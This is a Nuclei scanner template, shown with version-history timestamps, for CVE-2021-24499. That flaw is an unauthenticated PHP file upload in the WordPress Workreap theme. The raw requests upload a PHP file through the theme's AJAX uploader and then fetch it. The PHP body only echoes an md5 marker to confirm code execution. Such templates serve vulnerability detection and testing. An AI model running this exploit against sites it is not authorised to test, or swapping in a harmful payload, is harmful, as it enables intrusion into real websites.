my-nuclei-templates/CVE-2021-24499.yaml

55 lines
2.1 KiB
YAML
Raw Normal View History

2021-11-09 22:49:13 +00:00
id: CVE-2021-24499
info:
2022-06-18 08:05:25 +00:00
name: WordPress Workreap - Remote Code Execution
2021-11-09 22:49:13 +00:00
author: daffainfo
severity: critical
2022-06-18 08:05:25 +00:00
description: WordPress Workreap theme is susceptible to remote code execution. The AJAX actions workreap_award_temp_file_uploader and workreap_temp_file_uploader did not perform nonce checks, or validate that the request is from a valid user in any other way. The endpoints allowed for uploading arbitrary files to the uploads/workreap-temp directory. Uploaded files were neither sanitized nor validated, allowing an unauthenticated visitor to upload executable code such as php scripts.
2021-11-09 22:49:13 +00:00
reference:
- https://github.com/RyouYoo/CVE-2021-24499
- https://nvd.nist.gov/vuln/detail/CVE-2021-24499
2022-06-18 08:05:25 +00:00
- https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb
- https://jetpack.com/2021/07/07/multiple-vulnerabilities-in-workreap-theme/
2021-11-09 22:49:13 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-06-18 08:05:25 +00:00
cvss-score: 9.8
2021-11-09 22:49:13 +00:00
cve-id: CVE-2021-24499
cwe-id: CWE-434
2022-06-18 08:05:25 +00:00
tags: cve,cve2021,wordpress,wp-plugin,rce,intrusive,wp,workreap
2021-11-09 22:49:13 +00:00
requests:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=------------------------cd0dc6bdc00b1cf9
X-Requested-With: XMLHttpRequest
-----------------------------cd0dc6bdc00b1cf9
Content-Disposition: form-data; name="action"
workreap_award_temp_file_uploader
-----------------------------cd0dc6bdc00b1cf9
Content-Disposition: form-data; name="award_img"; filename="{{randstr}}.php"
Content-Type: application/x-httpd-php
<?php echo md5("CVE-2021-24499"); ?>
-----------------------------cd0dc6bdc00b1cf9--
- |
GET /wp-content/uploads/workreap-temp/{{randstr}}.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "71abe5077dae2754c36d731cc1534d4d"
2022-06-18 08:05:25 +00:00
- type: status
status:
- 200
# Enhanced by mp on 2022/05/16